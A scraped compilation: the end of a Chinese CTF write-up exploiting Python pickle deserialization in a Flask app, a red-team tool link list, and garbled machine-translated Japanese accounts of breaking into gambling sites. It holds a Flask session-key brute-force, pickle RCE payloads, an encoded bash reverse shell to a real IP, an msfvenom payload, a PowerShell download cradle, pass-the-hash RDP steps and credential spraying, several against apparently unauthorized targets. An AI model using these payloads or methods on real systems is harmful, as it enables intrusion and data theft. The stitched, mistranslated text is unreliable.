        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
korat3tsdyy15559.jpg然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174qixmwf3h1sv15562.jpg
黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
xocezbtklls15565.jpg本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadgalxtx5t3rl15568.jpgC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 
HireHackking

红队框架列表

攻击技战法

  • [list] 云上攻击技战法 https://hackingthe.cloud/
  • [doc] 红队技术实战 https://ired.team/

威胁情报 Threat Intelligence

  • [list] https://github.com/hslatman/awesome-threat-intelligence

红队框架/工具集 Redteam Framework

  • [tool] Utilities for MITRE ATT&CK https://github.com/nshalabi/ATTACK-Tools
  • [tool] 好用的渗透工具列表 https://github.com/enaqx/awesome-pentest
  • [book] KALI渗透 https://jobrest.gitbooks.io/kali-linux-cn/content/
  • [paper] ATT&CK 发布了七款安全产品的评估 https://medium.com/mitre-attack/first-round-of-mitre-att-ck-evaluations-released-15db64ea970d
  • [doc] 红队技术实战 https://ired.team/
  • [tool] 红队框架 https://ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform
  • [cheatsheet] 红队手册 https://github.com/mantvydasb/Offensive-Security-OSCP-Cheatsheets/
  • [tool] 渗透、红队工具集 https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
  • [tool] 红队资源集合 https://github.com/yeyintminthuhtut/Awesome-Red-Teaming/
  • [tool] APT实战资源 https://osint-labs.org/apt/
  • [cheatsheet] Windows 渗透 https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html

MITRE ATT&CK Matrix

  • Caldera https://github.com/mitre/caldera https://caldera.readthedocs.io/en/latest/index.html
  • Atomic Red Team https://github.com/redcanaryco/atomic-red-team https://atomicredteam.io
  • DumpsterFire https://github.com/TryCatchHCF/DumpsterFire
  • Metta https://github.com/uber-common/metta https://github.com/uber-common/metta/wiki
  • RTA https://github.com/endgameinc/RTA

业内红队 Industry

  • https://specterops.io/
  • https://www.synack.com/red-team/

攻击杀伤链

信息搜集 Reconnaissance

OSINT 在线工具

  • [tool] 信息搜集和渗透工具集 https://github.com/projectdiscovery/
  • [tool] 企业邮箱搜索工具 http://www.skymem.info/
  • [tool] 子域名和DNS历史记录Dnstrails https://securitytrails.com/dns-trails
  • [tool] 全网证书搜索 http://crt.sh
  • [tool] 多种域名/IP信息工具 https://viewdns.info/
  • [tool] https://pentest-tools.com
  • [tool] 全网资产搜索 Shodan https://www.shodan.io/
  • [tool] 全网资产搜索 Censys https://censys.io
  • [tool] 全网资产搜索 Fofa https://fofa.so/
  • [tool] 全网资产搜索 Zoomeye https://www.zoomeye.org/
  • [tool] DNS查询 https://dnsdumpster.com/
  • [tool] 文件在线监测 VirusTotal https://www.virustotal.com/
  • [tool] DNS查询 http://www.dnsgoodies.com/
  • [tool] Google ASE aka Google Dorking [Most effective in some cases]
  • [tool] Spiderfoot [Currently Free, just request for a Spiderfoot instance]
  • [tool] Binaryedge [Paid/Rate-Limited]
  • [tool] onyphe.io [Free mostly]
  • [tool] Github用户历史记录API https://api.github.com/users/{username}/events

信息搜集工具

  • [tool] BigBountyRecon https://github.com/Viralmaniar/BigBountyRecon

指纹识别

  • [tool] WAF识别 https://github.com/stamparm/identYwaf

入口突破 Entry

钓鱼 Phishing

  • [tool] https://github.com/klionsec/PhishingExploit
  • [tool] https://github.com/gophish/gophish
  • [cases] 利用谷歌开放平台OAuth授权,伪装成Google Doc使用GMail传播钓鱼 https://www.reddit.com/r/google/comments/692cr4/new_google_docs_phishing_scam_almost_undetectable/
  • [blog] Office在线视频钓鱼 https://blog.cymulate.com/abusing-microsoft-office-online-video
  • [tool] 邮件钓鱼工具 https://www.mailsploit.com/index
  • [trick] 利用DOCX文档远程模板注入执行宏https://xz.aliyun.com/t/2496
  • [trick] 浏览器窗口伪造 https://github.com/openworldoperations/FISHY
  • [trick] 鼠标光标伪造 https://jameshfisher.github.io/cursory-hack/

硬件交互设备 HID Attack

  • [paper] 打印机利用 http://archive.hack.lu/2010/Costin-HackingPrintersForFunAndProfit-slides.pdf
  • [tool] BadUSB https://mp.weixin.qq.com/s/mIcRNcf5HmZ4axe8N92S7Q

无线入侵 Wireless Attack

  • [tool] 无需四次握手包破解WPA&WPA2密码 http://www.freebuf.com/articles/wireless/179953.html

服务器带外管理BMC、IPMI供应链攻击

  • [blog] 针对目标企业开源项目的针对性软件供应链攻击 https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Exploitation

  • [tool] PE文件转为Shellcode / https://github.com/hasherezade/pe_to_shellcode
  • [blog] Java Runtime.exec(String)执行任意命令 https://www.anquanke.com/post/id/159554https://mp.weixin.qq.com/s/pzpc44-xH932M4eCJ8LxYghttp://jackson.thuraisamy.me/runtime-exec-payloads.html
  • [paper] 利用 Java JDBC 驱动利用反序列化漏洞 https://xz.aliyun.com/t/7067
  • [blog] 关于Jackson的CVEs https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
  • [paper] FastJson漏洞历史 https://github.com/miaochiahao/slides/tree/master/fastjson
  • [tool] 一键日Jira https://github.com/0x48piraj/Jiraffe
  • [tool] 很全的JNDI内存马利用工具 https://github.com/feihong-cs/JNDIExploit

权限提升 Privilege Escalation

  • [cheatsheet] Windows提权笔记 https://xz.aliyun.com/t/2519
  • [cheatsheet] Windows提权小抄 https://guif.re/windowseop
  • [cheatsheet] Windows本地提权技巧 http://payloads.online/archivers/2018-10-08/1
  • [cheatsheet] Linux提权小抄 https://guif.re/linuxeop
  • [exploit] Windows-Exploit-Suggester https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
  • [exploit] Linux-Exploit-Suggester https://github.com/PenturaLabs/Linux_Exploit_Suggester/
  • [exploit] Windows Exploits https://github.com/abatchy17/WindowsExploits
  • [exploit] Windows Sherlock本地提权漏洞检查 https://github.com/rasta-mouse/Sherlock
  • [cheatsheet] Linux sudo滥用提权 http://touhidshaikh.com/blog/?p=790
  • [blog] 深入解读MS14-068漏洞:微软精心策划的后门?http://www.freebuf.com/vuls/56081.html
  • [paper] Windows特权提升 https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf
  • [tool] juicy-potato本地提权 https://github.com/ohpe/juicy-potato https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  • [exploit] hh.exe提权 https://twitter.com/FlatL1ne/status/1194208167976165376
  • [tool] Linux本地信息搜集 https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
  • [tool] Linux进程监控 https://github.com/DominicBreuker/pspy
  • [cheatsheet] Linux Privilege Escalation https://book.hacktricks.xyz/linux-unix/privilege-escalation

持久化后门 Persistent

  • [tool] Gray Dragon .NET应用Runtime注入工具 / https://www.digitalbodyguard.com/graydragon.html
  • [trick] 利用环境变量,在任意.Net应用DLL注入 / https://mobile.twitter.com/subTee/status/864903111952875521 https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/bb384689(v=vs.100)
  • [tool] PHP-FPM无文件后门Webshell https://www.anquanke.com/post/id/163197
  • [tool] 利用PrintDialog持久化+执行命令 http://www.hexacorn.com/blog/2018/08/11/printdialog-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] SystemSettings http://www.hexacorn.com/blog/2018/08/12/systemsettings-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] 二进制加密Webshell https://xz.aliyun.com/t/2744https://github.com/rebeyond/Behinder
  • [cheatsheet] Linux权限维持 https://xz.aliyun.com/t/7338
  • [tool] Linux eBPF backdoor https://github.com/kris-nova/boopkit
  • [tool] 5行代码编译 PAM 后门 https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9

Post Exploitation

Windows

  • 无Powershell.exe的Powershell工具 / https://github.com/Ben0xA/nps
  • 全阶段的Powershell渗透测试脚本 / https://github.com/samratashok/nishang
  • 命令执行 Living off the Land https://github.com/api0cradle/LOLBAS
  • C# 后渗透测试库 SharpSploit 介绍 https://posts.specterops.io/introducing-sharpsploit-a-c-post-exploitation-library-5c7be5f16c51
  • [blog] Windows执行命令和下载文件总结 https://www.cnblogs.com/17bdw/p/8550189.html
  • [trick] 使用Rundll32运行.Net程序 https://blog.xpnsec.com/rundll32-your-dotnet/
  • [tool] .NET DllExport https://github.com/3F/DllExport

Linux

  • 纯Bash实现的后渗透工具 / https://github.com/TheSecondSun/Bashark/

凭据窃取 Credentials

  • [tool] SafetyKatz https://github.com/GhostPack/SafetyKatz
  • [tool] Shellcode Dump LSASS https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/
  • [tool] 内网密码搜集和解密工具 https://github.com/klionsec/Decryption-tool

横向移动 Letaral Movement

  • [tool] 端口扫描 wrriten in GO https://github.com/ffuf/ffuf/tree/master
  • [tool] 域信息搜集,域管理员的六度空间 https://github.com/BloodHoundAD/SharpHound
  • [usage] NMap空闲隐蔽扫描 https://nmap.org/book/idlescan.html
  • [blog] 使用meterpreter进行NTLM中继攻击 https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
  • [tool] Responder NetBIOS名称欺骗和LLMNR欺骗 https://github.com/SpiderLabs/Responder
  • [tool] NTLM Relay 攻击 Exchange Web Services https://github.com/Arno0x/NtlmRelayToEWS
  • [tool] SMB中间人劫持 https://github.com/quickbreach/SMBetray
  • [tool] 代理隧道 https://github.com/txthinking/brook
  • [tool] 代理隧道 https://github.com/Dliv3/Venom

绕过检测 Defense Evasion

  • [book] 效果不错的免杀,使用C#绕过杀毒软件
  • [tool] 生成免杀的Metasploit Payload / https://github.com/Veil-Framework/Veil
  • [code] 自定义Meterpreter加载 / http://www.freebuf.com/articles/system/53818.html
  • [blog] 九种姿势执行Mimikaz
  • [blog] 使用.Net可执行程序进行渗透
  • [blog] ATT&CK 攻击矩阵 躲避防御
  • [blog] 绕过下一代杀软
  • [blog] Windows NTFS特殊文件夹绕过检测
  • [paper] Winnti Bootkit http://williamshowalter.com/a-universal-windows-bootkit/
  • [paper] UEFI Rootkit https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
  • [twitter] Linux Bash 混淆 https://twitter.com/DissectMalware/status/1025580967384305664
  • [tool] 免杀工具 AVEThttps://github.com/govolution/avet
  • [blog] 绕过CrowdStrike检测 https://0x00sec.org/t/bypassing-crowdstrike-falcon-detection-from-phishing-email-to-reverse-shell/10802
  • [blog] 10 种绕过杀毒软件的方式 https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
  • [tool] DLL Side Loding Attack Gen https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator
  • [tool] BypassAV ShellCode Loader https://github.com/k8gege/scrun
  • [blog] Protecting Your Malware with blockdlls and ACG 利用微软自身提供的安全机制来反EDR https://blog.xpnsec.com/protecting-your-malware/
  • [blog] Detecting Parent PID Spoofing https://blog.f-secure.com/detecting-parent-pid-spoofing/
  • [tips] 对抗EDR的三个重要特征: 1. Process Relationship / 2. Suspicious Network / 3. Command Line.
  • [blog] Antivirus Evasion with Python https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
  • [tool] JS免杀Shellcode https://github.com/Hzllaga/JsLoader
  • [tool] 利用杀毒软件销毁自身 https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/
  • [tool] 免杀合集 https://github.com/TideSec/BypassAntiVirus
  • [tool] Apache/Nginx端口转发,隐藏TeamServer https://github.com/threatexpress/cs2modrewrite
  • [tool] 《使用C#编写自定义后门负载》学习笔记及免杀尝试 https://xz.aliyun.com/t/6222
  • [tool] 杀软进程名检查 https://github.com/gh0stkey/avList/
  • [blog] Windows免杀新技术 Process Herpaderping https://jxy-s.github.io/herpaderping/
  • [blog] Domain Borrowing: 一种基于CDN的新型隐蔽通信方法 https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

C&C

  • [tool] ICMP后门 https://github.com/inquisb/icmpsh
  • [tool] Windows远控 in C# https://github.com/quasar/QuasarRAT
  • [tool] Defcon后渗透工具,大宝剑 https://github.com/zerosum0x0/koadic
  • [tool] Custom Command and Control https://labs.mwrinfosecurity.com/tools/c3
  • [paper] CobaltStrike教程文档 https://wbglil.gitbooks.io/cobalt-strike/
  • [blog] PowerGhost挖矿病毒分析 https://www.freebuf.com/articles/system/219715.html
  • [tool] 隐藏网络连接的后门 https://github.com/BeetleChunks/redsails
  • [tool] Powershell反连后门 https://github.com/ZHacker13/ReverseTCPShell
  • [tool] JS VBS Payload生成器 https://github.com/mdsecactivebreach/CACTUSTORCH
  • [tool] 基于Golang的C2,DeimosC2 https://github.com/DeimosC2/DeimosC2
  • [tool] 基于Golang的反弹Shell管理程序 https://github.com/WangYihang/Platypus
  • [tool] 基于.Net框架的开源C2,https://github.com/cobbr/Covenant
  • [tool] 基于Rust的开源C2 Link,支持 Windows、Linux、MacOS https://github.com/postrequest/link
  • [tool] C语言编写的小巧精悍后门 https://github.com/MarioVilas/thetick
  • [tool] C2 Silver https://github.com/BishopFox/sliver

数据外传 Data Exfiltration

  • [blog] 数据外传技术 https://www.pentestpartners.com/security-blog/data-exfiltration-techniques/

杂项 & 辅助工具 Misc

  • [forum] Hack the box https://www.hackthebox.eu/
  • [tool] 代码生成手绘图 https://www.websequencediagrams.com/
  • [tool] 本地代码生成ascii文本绘图 graph::easy
  • [tricks] 技巧汇总 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet#lbwh-anchor

匿名邮箱和短信接收平台

  • https://lcx.cc/post/4594/
  • 复用Gmail邮箱的技巧 https://gmail.googleblog.com/2008/03/2-hidden-ways-to-get-more-from-your.html

中间人 MITM

  • [tool] https://github.com/LionSec/xerosploit
  • [tool] 钓鱼反向代理中间人工具 https://github.com/hash3liZer/evilginx2

安卓安全 Android

  • [paper] Frida操作手册 https://github.com/hookmaster/frida-all-in-one

逆向分析 Reverse

  • [tool] NSA发布逆向分析框架Ghidra https://www.nsa.gov/resources/everyone/ghidra/
  • [tool] Modern Java Bytecode Editor https://github.com/Col-E/Recaf

爆破 & 字典 Wordlist

  • 常见服务的暴力破解 https://github.com/lanjelot/patator
  • 看起来很强的弱密码 https://github.com/r35tart/RW_Password
  • 超全Payload https://github.com/swisskyrepo/PayloadsAllTheThings
  • 社工字典生成工具 https://github.com/Saferman/cupper

渗透辅助 & OOB工具

  • [tool] nuclei 的 dnslog https://github.com/projectdiscovery/interactsh
  • [tool] lijiejie 基于 bugscan dnslog 二开的 dnslog https://github.com/lijiejie/eyes.sh

自动化扫描 & 巡检

  • [tool] 分布式扫描器WDScanner https://www.freebuf.com/sectool/203772.html
  • [tool] 灯塔资产巡检 https://github.com/TophantTechnology/ARL

云安全 & 云原生

  • [book] K8S指南 https://feisky.gitbooks.io/kubernetes/introduction/101.html
  • [list] 云上攻击技战法 https://hackingthe.cloud/

Web安全

  • [collections] Web安全项目合集 https://github.com/qazbnm456/awesome-web-security
  • [tool] Web扫描通用辅助函数集 https://wsltools.readthedocs.io/en/latest/
  • [tool] Web爬虫,基于Chrome Headless https://github.com/chaitin/rad
  • [tool] Burpsuite插件,敏感信息识别和提取 https://github.com/gh0stkey/HaE
  • [tool] MLoger - HTTP(S)/TCP/WS 抓包测试工具 https://github.com/momosecurity/Mloger
  • [tool] Web扫描器 nuclei,支持POC扫描 https://github.com/projectdiscovery/nuclei

软件包/组件/依赖安全

  • [tool] 开源漏洞库,组件安全,依赖安全 https://security.snyk.io/
  • [tool] 组件依赖安全检测 https://github.com/jeremylong/DependencyCheck

XXE

  • [tool] XXE盲打外传工具 https://github.com/TheTwitchy/xxer
  • [tool] 攻击Java RMI https://github.com/NickstaDB/BaRMIe

Java安全

  • [book] Java安全 https://github.com/anbai-inc/javaweb-sec
  • [tool] 优化版本yso https://github.com/zema1/ysoserial

前端黑魔法

  • paper 反爬虫JS破解与混淆还原手册 https://github.com/LoseNine/Restore-JS

Defense

入侵检测 Detection

  • [blog] 针对微软活动目录(AD)的七大高级攻击技术及相应检测方法 https://www.anquanke.com/post/id/161815
  • [blog] 攻防对抗:活动目录中的欺骗技术 https://www.anquanke.com/post/id/162210
  • [tool] Webshell查杀 http://www.shellpub.com/
  • [paper] eBPF进程阻断 https://www.cnxct.com/linux-kernel-hotfix-with-ebpf-lsm/
  • [paper] Tetragon进程阻断原理 https://www.cnxct.com/how-tetragon-preventing-attacks/

溯源反制

  • [tool] 利用JetBrains来进行RCE反制 https://github.com/CC11001100/idea-project-fish-exploit

主机加固

  • [blog] 隐藏其他用户的进程信息 https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/

法律法规 Laws

  • 美国信息泄露通知法 https://en.wikipedia.org/wiki/Security_breach_notification_laws

转自文章来源: https://kingx.me/pentest-tools/

今日、私は突然、ウェブページを閲覧している間にほうれん草のサイトを見つけました。ウェブサイトのスクリーンショットは投稿しません。

ほうれん草の駅はより安全で、浸透するのは簡単ではないと言われているので、何もすることがなかったときに今日それをしました。その結果、ポートをスキャンしたばかりで、IPは禁止されました。これは少し悲しいので、エージェントを掛けて見てみることができます。

私は閲覧し、このサイトはメインサイトではなく、さまざまなアクティビティを処理するサイドステーションであるべきであることがわかりました。そして、私はアクティビティのポップアップウィンドウの1つで驚きを見つけました

图片[1]-渗透进入菠菜服务器(实战)-可能资源网 SFZはここにアップロードできますが、それはファイルアップロードの脆弱性があるかもしれないという意味ではありませんか?情報を収集するとき、私はこのサーバーがIIS7.5であることを知りました

图片[2]-渗透进入菠菜服务器(实战)-可能资源网少し前に、脆弱性を確認して分析するだけなので、脆弱性が存在するかどうかを試してみましょう。

图片[3]-渗透进入菠菜服务器(实战)-可能资源网アップロードのためにPHPの馬を画像馬にしました

图片[4]-渗透进入菠菜服务器(实战)-可能资源网応答結果によれば、アップロードは成功し、アドレスが返されました。次に、訪問しましょう

图片[5]-渗透进入菠菜服务器(实战)-可能资源网解析が実際に成功したことがわかりますが、残念ながら正常に使用することはできません。そのため、アップロードするためにマレーシアのPHPマレーシアの接尾辞をJPGに直接変更します

图片[6]-渗透进入菠菜服务器(实战)-可能资源网再び訪問したとき、私はそれが正常に使用できることを発見しました。私が入ったとき、私は多くの個人情報と人々のスクリーンショットを転送することがあるのを見ました。ほうれん草は人々に害を及ぼすと言わざるを得ません。

图片[7]-渗透进入菠菜服务器(实战)-可能资源网ウェブシェルがあるので、最初に現在の権限を見てみましょう。

图片[8]-渗透进入菠菜服务器(实战)-可能资源网対処するのは本当に難しく、私は再び低許容に遭遇しました。最初に権利を引き上げることを検討しないでください。また、利用可能な他の機密文書があるかどうかを確認し続けてください。さまざまなディレクトリで長い間検索した後、最終的にデータベースの構成ファイルを見つけました。これは次のように表示されます。

图片[9]-渗透进入菠菜服务器(实战)-可能资源网データベースに接続して、見てください

图片[10]-渗透进入菠菜服务器(实战)-可能资源网は、疑わしい管理者のアカウントとパスワードを見つけました。私はこれを試してみましたが、それを解読することができました。私は幸運でした。

图片[11]-渗透进入菠菜服务器(实战)-可能资源网次に、背景にログインして見てみましょう

图片[12]-渗透进入菠菜服务器(实战)-可能资源网 图片[13]-渗透进入菠菜服务器(实战)-可能资源网結果は非常に失望しました。私はもともと、さまざまなユーザー情報と資本フローがあると思っていました。この点に達したので、続行することしかできません。電源を上げる方法を考えながら、ほうれん草のステーションは実際には誤った評判ではないとため息をつきました。フォルダーの下にサーバーの情報ファイルが見つかりました。

图片[14]-渗透进入菠菜服务器(实战)-可能资源网ファイル名——「サーバー情報」に注意してください。しかし、私は本当に眠く、誰かが私に枕をくれました。このことから、このサイトはパゴダの上に構築され、アカウントとパスワードを提供していることを知っています。それはとても思慮深いです。ログインしてチェックしてみてください

图片[15]-渗透进入菠菜服务器(实战)-可能资源网 图片[16]-渗透进入菠菜服务器(实战)-可能资源网写真に示されているように、いくつかのデータベースは多くの罪深いお金取引を記録しています。詳細にリリースしません。

パゴダでは、管理者がポート3389を19283に変更したことも見ました。前のファイルで与えられたサーバーアカウントとパスワードを組み合わせて、ログインして見てみましょう

图片[17]-渗透进入菠菜服务器(实战)-可能资源网投げて試行することで、このサーバーの下にほうれん草に関する3つのサイトがあり、機能がまだ異なることがわかりました。 1つはメインサイト、1つはイベントの処理、もう1つはRed Envelope Grabです。それは本当にカラフルです。

元のリンクから転載:

https://www.kngzs.cn/1705.html

序文

私は映画を見るのが好きですが、無料でセックスをするのが好きなので、映画やテレビのサイトをよく見て、時にはいくつかの怠zyな広告がポップアップします。最近、私は公式アカウントをあまり更新していないので、Pを作るのが面倒な広告を見つけました。スケールは比較的大きいため、コーディングに真剣です。

簡単な要約

Lazy Video ---外部Xステーションの再生ソース图片 2を引用します。 Xを選択します----バックエンドは、都市とBaiduからの写真のすべての厄介な紹介です。偽物3。バックエンドデータを投稿しています图片

実用的な戦闘体験

ドメイン名検索、XXエンターテインメント、およびソースコードの波に囲まれた壁に取り付けられた背景を見つけました。同様のソースコードと構築されたチュートリアルを見つけました。サイトのIPが漏れました。一般的なサイトのデモンストレーションには、デモンストレーションアカウントのパスワードバックエンドとさまざまな指紋機能が添付されています。图片デモサイトの指紋およびデフォルトアカウントパスワードを介して、同じタイプのサイトのバッチを見つけました。基本的に、私はカラーレイジービデオを使用して、ほうれん草を誘導しました。图片背景宝くじプリセット、すべての詐欺。この記事をあなたの色の怠zyな友達と共有したいと思っています。图片初期段階では、デモサイトの指紋を見つけるためのソースコードを見つける方法を見つけました。一部のサイトもありますが、これは通常の浸透方法です。まず、アカウントを登録し、ユーザー名をカスタマイズしてXSコードに直接配置できるプロンプトを確認します。それはお金の無駄であり、背景を引き起こすのは困難です。背景をトリガーするのは困難です。图片バックグラウンドでのユーザーディスプレイはこのようなものであり、ユーザーの詳細をクリックすると图片 图片もトリガーされます。图片

元のリンクから転載:https://mp.weixin.qq.com/s/iiyt-m1ul0upxvocmwcfag

0x00はじめに

私は退屈し、簡単なテストのためにオンラインでほうれん草を見つけてメモを取りました。大物は軽く噴出した。欠点がある場合はアドバイスしてください。

0x01弱いパスワード

ウェブサイトにアクセスするのはログインページです。検証コードがなければ、BPは直接有効になります。弱いパスワード管理者/123456が正常に公開され、背景に直接入ります。

图片

0x02注入して許可を取得

私は多くの機能ポイントを調べ、1つの機能ポイントでアップロードインターフェイスを見つけ、ファイルをアップロードしようとしましたが、アップロードできないことがわかりました。あきらめて見続けることを選択します。特定のhttp://url/groupmember.aspx?gid=パラメーターに単一の引用符を追加すると、エラーが直接報告されます。これはSQL注入後に来ていませんか?

图片

それを行い、直接sqlmap。

图片

MSSQLおよびDBAアクセス許可として、直接-S-Shell

图片

オンラインMSF

すでに通常の許可を取得している次のステップは、MSFを起動して権利を増やすことです。 MSFはPowerShellスクリプトを生成し、Webサイトディレクトリに配置します。

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8888 -f psh -reflection xx.ps1 图片

VPS Enable Monitoring 图片

PowerShellを使用してオンラインSESSIONPOWERSHELL.EXE -NOP -W HIDDEN -C 'IEX((new -Object.WebClient).DownLoadString(' http://x.x.x.x/xx.ps1 ')' 图片

URLスプライシングスタッキングを介してPowerShellを実行したい場合は、問題が発生します。これは単一の引用閉鎖の問題です。 PowerShellをエンコードして、単一の引用問題をバイパスできるようにすることができます。これが良いウェブサイトです。

https://r0yanx.com/tools/java_exec_encode/Elevation of Rights

セッションが開始され、次の目標はシステム許可を取得することです。幸いなことに、GetSystemはシステム許可を直接取得できます。権利を引き上げる必要がある場合、Tudouファミリーは権利の促進を推奨します。実際の戦闘の成功率は非常に高く、それに影響を与えるサーバーバージョンはたくさんあります。图片

プロセスを移行して、プロセスが崩壊しないようにします。图片

サーバーへのリモートログイン

サーバーは、システムの権限があり、2012年のシステムであるため、ポート3389を開設したことがわかりました。平易なテキストのパスワードが2008年以上のバージョンでキャプチャされていない場合、AdminNistratorパスワードを直接変更します。 (実際の戦闘で管理者パスワードを直接変更することはお勧めしません)图片

图片

ハッシュを使用して、管理者アカウントにリモートでログインします

プレーンテキストパスワードを取得できないのはWin2012であるため、管理者パスワードを直接変更するのは少し不適切です。管理者NTLMを取得して、リモートでマシンにログインしてみてください。 (それは同じではありません、それはただ一つのアイデアを提供するだけです)图片

Hashを使用してRDPへのリモートログインは、「制限された管理モード」を有効にする必要があります 'HKLM \ System \ CurrentControlset \ Control \ lsa' /vdisable -restricedAdmin /T reg_dword /d 000000 /f //オープン制限管理管理モデレグクエリ 'hklm str 'disabletedadmin'を見つけます ' StrSTR 'disableStrictiondadmin' //0x0が有効になっているかどうかを確認します图片を意味します

ハッシュリモート管理者デスクトップ图片を正常に使用しました

图片

04

0x03その他

初期段階では、ポート1433が開いていることがわかりました。そのため、データベース構成ファイルを探してデータベースにログインしました。

图片

私はFOFAを調べて、かなり多くの資産があることを発見しました、そして、それらの多くはオープンポート1433を持っています。私は同じ人によって展開されたウェブサイトがあると思います。取得したパスワードを使用して、これらの資産のポート1433を爆破し、すべてSA許可を使用していくつかのデータベースを正常にヒットしようとしました。仕上げる。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/kj55hbzmc9jf6xmbzxwu4w3359xz.aliyun.com/t/12501

1。誤ってほうれん草のサイトを見つけてからテストしました。アイデアは次のとおりです。ほうれん草のサイトであるため、ユーザーは間違いなく登録します。そうでなければ、どのようにお金を請求できますか?ユーザーと強く対話するページを登録する場合、脆弱性の可能性は次のとおりです。

